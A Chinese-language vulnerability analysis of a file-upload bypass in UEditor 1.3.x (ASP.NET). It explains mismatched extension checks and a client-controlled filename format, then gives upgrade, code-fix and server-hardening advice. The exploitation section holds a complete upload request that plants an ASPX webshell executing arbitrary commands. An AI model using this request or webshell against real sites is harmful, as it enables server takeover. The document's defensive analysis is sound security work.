记一次ueditor老版本的非常规getshell
字数 1387 2025-08-26 22:11:34
UEditor 1.3.x ASP.NET 非常规Getshell漏洞分析与利用
漏洞概述
本文档详细分析UEditor 1.3.x版本(ASP.NET实现)中存在的一个非常规文件上传漏洞,该漏洞不同于常见的UEditor 1.4.3远程文件加载漏洞,而是由于文件后缀处理逻辑缺陷导致的getshell方法。
漏洞环境
- 影响版本:UEditor 1.3.x(ASP.NET实现)
- 受影响文件:
\ueditor3\net\fileUp.ashx - 相关代码文件:
\ueditor3\net\Uploader.cs
漏洞原理分析
1. 文件后缀获取逻辑缺陷
在Uploader.cs文件的190行附近,存在自定义的文件后缀获取函数,其逻辑如下:
// 伪代码表示
string GetFileExtension(string filename)
{
string[] parts = filename.Split('.');
return "." + parts[parts.Length - 1];
}
该函数存在以下问题:
- 当传入的文件名不含点字符(如"pdf")时,分割后数组只有一个元素"pdf"
- 函数会返回".pdf",从而可能绕过白名单检查
2. 文件名生成机制缺陷
文件名生成过程存在两个关键问题:
-
随机生成参数可控:
- 文件名格式由前端
fileNameFormat参数控制(默认格式为{filename}{rand:6}) - 攻击者可以将其修改为固定字符串,绕过随机化
- 文件名格式由前端
-
后缀获取方法不一致:
- 白名单检查使用自定义的
GetFileExtension方法 - 实际保存时使用ASP.NET自带的
Path.GetExtension(filename)方法 - 对于"pdf"这样的输入:
- 自定义方法返回".pdf"
Path.GetExtension返回空字符串
- 白名单检查使用自定义的
漏洞利用步骤
1. 确认目标环境
- 确认存在
\ueditor3\net\fileUp.ashx路径 - 确认网站使用ASP.NET技术栈
- 确认UEditor版本为1.3.x系列
2. 构造恶意请求
关键请求参数:
- 设置
fileNameFormat为固定值(如shell.aspx) - 上传文件名不包含点字符(如直接使用
aspx)
示例请求:
POST /ueditor3/net/fileUp.ashx HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="fileNameFormat"
shell.aspx
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>
<%
System.Diagnostics.Process.Start(Request["cmd"]);
%>
------WebKitFormBoundaryABC123--
3. 漏洞利用结果
- 上传的文件将被保存为
shell.aspx - 由于后缀检查被绕过,恶意ASPX文件将被成功上传
- 访问上传的webshell即可执行系统命令
漏洞限制条件
-
版本限制:
- 仅影响UEditor 1.3.x系列的ASP.NET实现
- 不影响1.4.x及以上版本
- 不影响PHP/JSP实现
-
配置限制:
- 需要
fileUp.ashx文件可访问 - 上传目录需要有执行权限
- 需要
防御措施
1. 升级建议
- 升级到UEditor最新版本
- 如无法升级,至少升级到1.4.3以上版本
2. 代码修复
对于必须使用1.3.x版本的情况:
- 修改
Uploader.cs中的后缀获取逻辑:
string GetFileExtension(string filename)
{
// 使用标准方法获取后缀
string ext = Path.GetExtension(filename);
if(string.IsNullOrEmpty(ext))
{
return string.Empty;
}
return ext.ToLower();
}
- 加强文件名生成控制:
- 禁止前端控制
fileNameFormat参数 - 使用强随机数生成文件名
- 禁止前端控制
3. 服务器配置
- 限制上传目录执行权限
- 对上传文件进行内容检查
- 设置文件上传黑白名单
总结
该漏洞展示了在文件上传功能中,由于前后逻辑不一致和安全检查不严谨导致的getshell风险。特别值得注意的是:
- 自定义函数与系统函数行为差异导致的绕过
- 前端可控参数未做充分过滤
- 版本间差异导致的非预期行为
对于安全研究人员,此案例提醒我们在测试时应当:
- 关注不同版本间的实现差异
- 仔细分析自定义函数逻辑
- 检查前后端参数处理的一致性